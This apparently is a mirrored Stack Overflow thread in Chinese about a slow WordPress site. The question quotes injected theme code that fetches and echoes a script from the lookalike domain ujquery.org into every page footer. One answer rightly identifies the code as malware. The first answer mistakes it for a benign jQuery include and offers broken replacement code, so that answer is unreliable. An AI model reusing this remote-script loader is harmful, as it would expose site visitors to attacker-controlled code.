【问题标题】:My Wordpress website is slow due to a line in init.php由于 init.php 中有一行,我的 Wordpress 网站运行缓慢
【发布时间】:2015-03-03 05:25:29
【问题描述】:

我的网站是 darbardesigns.com,最近 3 到 4 天我的网站变得如此缓慢,以至于页面加载时间大约需要 1-2 分钟。

页面底部出现如下错误:-

警告: get_headers(http://ujquery.org/jquery-1.6.3.min.js): 失败 打开流:连接超时 /public_html/wp-content/themes/porto/includes/init.php 第 97 行

我去了特定的行,代码如下:

add_filter( 'builder_include_modules',
'spyropress_register_builder_modules' );
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
    $host = 'http://';
    $jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
    $headers = get_headers($jquery, 0);
    if ($headers[0] == 'HTTP/1.1 200 OK'){
        echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
    }
}
add_action('wp_footer', 'wp_func_jquery');

}

  • 从发生此错误开始,我的网站变得非常缓慢。

  • 如果我尝试删除它,页面内容显示不正确。它有些
    我认为是某个黑客的作品。

    提前致谢。

【问题讨论】:

    标签: php jquery wordpress


    【解决方案1】:

    似乎它只在页脚中包含 jquery,用以下代码替换它:

    function wp_func_jquery() {
        // Get jQuery from Google CDN
        echo "https://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";
    }
    add_action('wp_footer', 'wp_func_jquery');
    

    或在您的服务器中下载 jquery 并从那里添加它,例如:

    echo get_template_directory_uri() . "/JQUERY_PATH_IN_CURRENT_THEME/jquery.min.js";
    

    或者你可以通过wp_enqueue_script添加jquery

    【讨论】:

    • echo 在页脚显示:ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js,我只是将 echo 字段保留为 echo"";但是网站变得很快,可以继续使用这个还是您有什么建议
    • @Zain 我更喜欢使用wp_enqueue_script,为了提高页面速度,请尝试减少 http 请求,这意味着如果您加载了多个 javascript 文件,然后将它们组合成一个(按顺序)然后加载。
    • 知道了哥们,我刚刚在 funtions.php 中添加了 wp_enqueue_script 并将 jquery 文件添加到路径中。并且还将遵循您关于加入 javascript 以按顺序运行的第二点
    【解决方案2】:

    仅供参考:这是恶意软件,根本不应该出现在您的代码中。您可能受到后门黑客攻击或下载了某种被黑客入侵的主题或插件。我建议您从您的网站中删除代码。域“ujquery.org”与实际的 jQuery 无关。

    【讨论】:

      【解决方案3】:

      看起来您应该删除此代码,然后简单地在您的 html 上手动添加 jquery,而不是检查页面是否加载良好。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2016-03-27
        • 2017-04-25
        • 2018-03-19
        • 1970-01-01
        • 2016-10-05
        • 1970-01-01
        • 1970-01-01
        • 2012-07-07
        相关资源
        最近更新 更多